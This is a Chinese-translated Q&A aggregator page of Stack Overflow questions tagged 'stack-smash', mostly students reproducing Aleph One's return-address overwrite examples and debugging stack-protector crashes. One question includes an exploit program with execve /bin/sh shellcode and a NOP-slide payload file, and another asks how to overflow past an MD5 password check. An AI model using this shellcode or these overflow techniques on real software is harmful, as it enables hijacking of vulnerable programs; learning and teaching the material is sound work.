标签: stack-smash

粉碎堆栈example3 ala Aleph One

我在Linux x86_64上重现了Smashing the Stack for Fun and Profit的例子3 .但是,我无法理解应该递增到返回地址的正确字节数是多少,以便跳过指令:

0x0000000000400595 <+35>:   movl   $0x1,-0x4(%rbp)
Run Code Online (Sandbox Code Playgroud)

这是我认为x = 1指令的地方.我写了以下内容:

#include <stdio.h>

void fn(int a, int b, int c) {
  char buf1[5];
  char buf2[10];
  int *ret;

  ret = buf1 + 24;
  (*ret) += 7;
}

int main() {
  int x;

  x = 0;
  fn(1, 2, 3);
  x = 1;
  printf("%d\n", x);
}
Run Code Online (Sandbox Code Playgroud)

并在gdb中拆解它.我已禁用地址随机化并使用该-fno-stack-protector选项编译程序.

问题1

我可以从下面的反汇编输出中看到,我想跳过地址指令0x0000000000400595:返回地址callq <fn>movl指令地址.因此,如果返回地址是0x0000000000400595,并且下一条指令是0x000000000040059c,我应该在返回地址中添加7个字节?

0x0000000000400572 <+0>: …
Run Code Online (Sandbox Code Playgroud)

c security pointers stack-smash

18
推荐指数
1
解决办法
495
查看次数

如何调试'Stack smashing detected'?

我有一个复杂的c ++代码.

这是一个使用http://althenia.net/fcgicc的FastCGI程序

当我问它一个looooong url时,我得到了

*** stack smashing detected ***: ./tileserve terminated
Erreur de segmentation
Run Code Online (Sandbox Code Playgroud)

对于现实生活,这不是问题,因为我从来没有使用这么长的网址,但这意味着任何人都可以终止我的服务器......我不喜欢这样.

是否有工具(以及如何使用它?)来找出问题出现在哪里?

编辑:已解决

好的解决了.

我在做

int len;
char uri[200];

len = strlen(request.params[std::string("REQUEST_URI")].c_str());
printf("%d\n", len);

if (len > 200) return 1;

strcpy(uri, request.params[std::string("REQUEST_URI")].c_str());
Run Code Online (Sandbox Code Playgroud)

对于len测试看起来200太高了.它实际上在194失败了.

所以我做了 :

if (len > 190) return 1;
Run Code Online (Sandbox Code Playgroud)

现在,没关系.

c++ stack-smash

17
推荐指数
1
解决办法
5万
查看次数

如何检测iOS应用程序中是否启用了堆栈粉碎保护

我希望能够检查在Xcode 9上构建的iOS应用程序中是否启用了堆栈粉碎保护(-fstack-protector-all),目标是iOS 11.

我在"其他C标志"中启用了-fstack-protector-all的应用程序,它确实构建并运行,但是如何验证是否启用了堆栈粉碎保护?

有很多较旧的(2013年及之前的)资源提到otool -Iv appName |grep stack_chk,但我在我的应用程序二进制文件上运行它,并且在输出中找不到stack_chk.

那个命令有现代的等价物吗?是-fstack-protector - 根据Xcode中当前的默认设置,所有甚至都是必需的?

xcode otool ios stack-smash ios11

14
推荐指数
1
解决办法
1146
查看次数

如何从_calling_函数返回值?

我希望能够强制'双回',即有一个强制从其调用函数返回的函数(是的,我知道并不总是有一个真正的调用函数等).显然我希望是能够通过操纵堆栈来做到这一点,并且我认为至少在一些非便携式机器语言方式中它是可能的.问题是这是否可以相对干净和便携地完成.

为了填写一段具体的代码,我想写一下这个函数

void foo(int x) {
    /* magic */
}
Run Code Online (Sandbox Code Playgroud)

这样以下功能

int bar(int x) {
    foo(x);
    /* long computation here */
    return 0;
}
Run Code Online (Sandbox Code Playgroud)

回来,比方说1; 并且不执行长计算.假设它foo()可以假设它只被具有条形签名的函数调用,即int(int)(因此具体知道它的调用者返回类型是什么).

笔记:

  • 请不要告诉我这是不好的做法,我是出于好奇而问.
  • 不得修改调用函数(在示例中bar()).它不会知道所调用的函数是什么.(再次在示例中,只能修改位)./* magic */
  • 如果它有帮助,你可能会假设没有内联(也许是一个不切实际的假设).

c c++ stack return stack-smash

7
推荐指数
1
解决办法
213
查看次数

使用GCC进行堆栈保护和粉碎

我正在阅读Smashing the Stack for Fun and Profit(特别是,这篇文章指的是"Buffer Overflows"部分).这篇文章是为32位机器编写的,但我正在研究64位,我在我的例子中考虑了这一点.一个特殊的例子是导致一些我无法解释的问题.example3.c具有覆盖返回地址以跳过main函数中的指令的功能.这是我的代码:

#include <stdio.h>

void function(int a, int b, int c)
{
  char buf1[5];
  char buf2[10];
  int *retptr;

  retptr = (void*)(buf2 + 40);
  (*retptr) += 8;
}

int main(void)
{
  int x;

  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n", x);
  return 0;
}
Run Code Online (Sandbox Code Playgroud)

我使用gcc v4.8.2使用以下命令编译此程序:

gcc example3.c -o example3
Run Code Online (Sandbox Code Playgroud)

请注意,默认情况下,gcc编译器似乎实现了一些堆栈保护,例如地址空间布局随机化和堆栈金丝雀.我在计算ret指针值时考虑了这些安全措施.这是由gcc example3.c -S -fverbose-asm -o stack-protection.s以下产生的相应组件 :

    .file   "example3.c"
# GNU C (Ubuntu 4.8.2-19ubuntu1) version 4.8.2 (x86_64-linux-gnu)
#   compiled by …
Run Code Online (Sandbox Code Playgroud)

c stack-smash

6
推荐指数
1
解决办法
1152
查看次数

使用堆栈粉碎删除指令

我一直试图通过堆栈粉碎更改返回地址来跳过指令.以下代码跳过main中的++并输出"1 3"的输出.我已经在32位英特尔机器上执行了这段代码.

#include<stdio.h>
void fun(int a,int b) {
    // buffer
    char buf[8];
    char *p;
    p = (char *)buf+24;
    *p=*p+5;
    return;
}

int main() {
    int a=1,b=2;
    fun(a,b);
    a++;
    b++;
    printf("%d %d",a,b);
 }
Run Code Online (Sandbox Code Playgroud)

我无法理解为什么返回地址存储在距buf起始地址24字节的位移处.我尝试在不同的32位英特尔机器上执行相同的代码,我不得不使用20字节而不是24字节的位移.我已将我的理解放在下图中.我不确定是什么填补了"?"所代表的差距.在图中.gcc是否存在任何金丝雀价值或者我错过了什么?

链接到图:http://www.cse.iitb.ac.in/~shashankr/stack.png

粉碎堆栈example3.c混乱问了同样的问题,但无法解释一般的置换原因.

下图给出了通过在函数中放置断点获得的堆栈的视图.

堆栈内容http://www.cse.iitb.ac.in/~shashankr/stack4.png

以下是main和fun的汇编代码:

 Dump of assembler (fun):
 0x08048434 <+0>:   push   %ebp
 0x08048435 <+1>:   mov    %esp,%ebp
 0x08048437 <+3>:   sub    $0x18,%esp
 0x0804843a <+6>:   mov    %gs:0x14,%eax
 0x08048440 <+12>:  mov    %eax,-0xc(%ebp)
 0x08048443 <+15>:  xor    %eax,%eax
 0x08048445 <+17>:  lea    -0x14(%ebp),%eax
 0x08048448 <+20>:  add    $0x18,%eax
 0x0804844b <+23>: …
Run Code Online (Sandbox Code Playgroud)

c stack buffer-overflow stack-smash

5
推荐指数
1
解决办法
489
查看次数

作为房主的缓冲区溢出

仍在学习安全类的缓冲区溢出,我正在尝试利用此应用程序中的漏洞:

//vuln.c
#include <stdio.h>

int bof(char *str)
{
     char buffer[12];

     //BO Vulnerability
     strcpy(buffer,str);

     return 1;
}

int main(int argc, char* argv[])
{
     char str[517];

     FILE *badfile;
         badfile = fopen("badfile","r");

     fread(str, sizeof(char),517, badfile);
     bof(str);

     printf("Returned Properly\n");
     return 1;
}
Run Code Online (Sandbox Code Playgroud)

使用此漏洞利用程序:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;


int main(int argc, char* argv[])
{
    char buffer[517];
    char large_string[512];
    FILE *badfile;
        badfile = fopen("./badfile", "w");

    //NOPslide
    memset(&buffer,0x90,517); …
Run Code Online (Sandbox Code Playgroud)

c buffer-overflow stack-smash shellcode fortify-source

5
推荐指数
1
解决办法
3426
查看次数

基于堆栈的缓冲区溢出-使用scanf和有限输入的C语言中的挑战

作为安全CS课程的一部分,我班的任务是利用漏洞利用堆栈/缓冲区溢出来击败密码检查。带有漏洞的代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/md5.h>

int main(int argc, char **argv) {
    char correct_hash[16] = {
        0xd0, 0xf9, 0x19, 0x94, 0x4a, 0xf3, 0x10, 0x92,
        0x32, 0x98, 0x11, 0x8c, 0x33, 0x27, 0x91, 0xeb
    };
    char password[16];

    printf("Insert your password: ");
    scanf("%29s", password);

    MD5(password, strlen(password), password);

    if (memcmp(password, correct_hash, 16) == 0) {
        printf("Correct Password!\n");
    } else {
        printf("Wrong Password, sorry!\n");
    }
    return 0;
}
Run Code Online (Sandbox Code Playgroud)

我了解经典的“堆栈粉碎”原理(我认为),并且这里存在一个明显的溢出漏洞,该漏洞correct_hash可以通过在提示时输入长度超过15个字符的密码来覆盖数组的前14个字节。但是,我不知道如何利用此功能使memcmp检查通过,从而完成挑战。我发现/尝试过的一些东西:

  • 设置password为等价是correct_hash行不通的,因为password使用MD5()进行了哈希处理(无论如何都不可能将两者相等),因为 …

c stack-overflow md5 buffer-overflow stack-smash

5
推荐指数
1
解决办法
1828
查看次数

什么是堆栈粉碎(C)?

码:

int str_join(char *a,  const char *b) {
   int sz =0; 
   while(*a++) sz++;  
   char *st = a -1, c;  
   *st = (char) 32;
   while((c = *b++)) *++st = c;  
   *++st = 0;
   return sz;
}

....

char a[] = "StringA"; 
printf("string-1 length = %d, String a = %s\n", str_join(&a[0],"StringB"), a);
Run Code Online (Sandbox Code Playgroud)

输出:

string-1 length = 7,char*a = StringA StringB

***堆栈粉碎检测****:/ T02终止

中止(核心倾倒)

我不明白为什么它会显示堆栈粉碎?什么是*堆栈粉碎?或者是我编译器的错误?

c stack-overflow gcc stack-smash

5
推荐指数
2
解决办法
2万
查看次数

为什么粉碎后不会立即出现"堆栈粉碎检测"?

我理解"堆栈粉碎检测"是什么意思.关于这一点,这里已经有很多问题了.但我没有找到以下问题的答案.拿C代码

int main(int argc, char **args) {
   char puffer[5];
   strcpy(puffer, *++args);
   printf("%s\n",puffer);
   return EXIT_SUCCESS;
}
Run Code Online (Sandbox Code Playgroud)

当我在Ubuntu 13.10中使用gcc 4.8.1编译时./buffer 123456789会引发预期的错误stack smashing detected.但为什么不./buffer 12345678引起错误呢?我希望每个超过5个字符的字符串都会引发错误.

c buffer-overflow linux-kernel stack-smash

4
推荐指数
1
解决办法
526
查看次数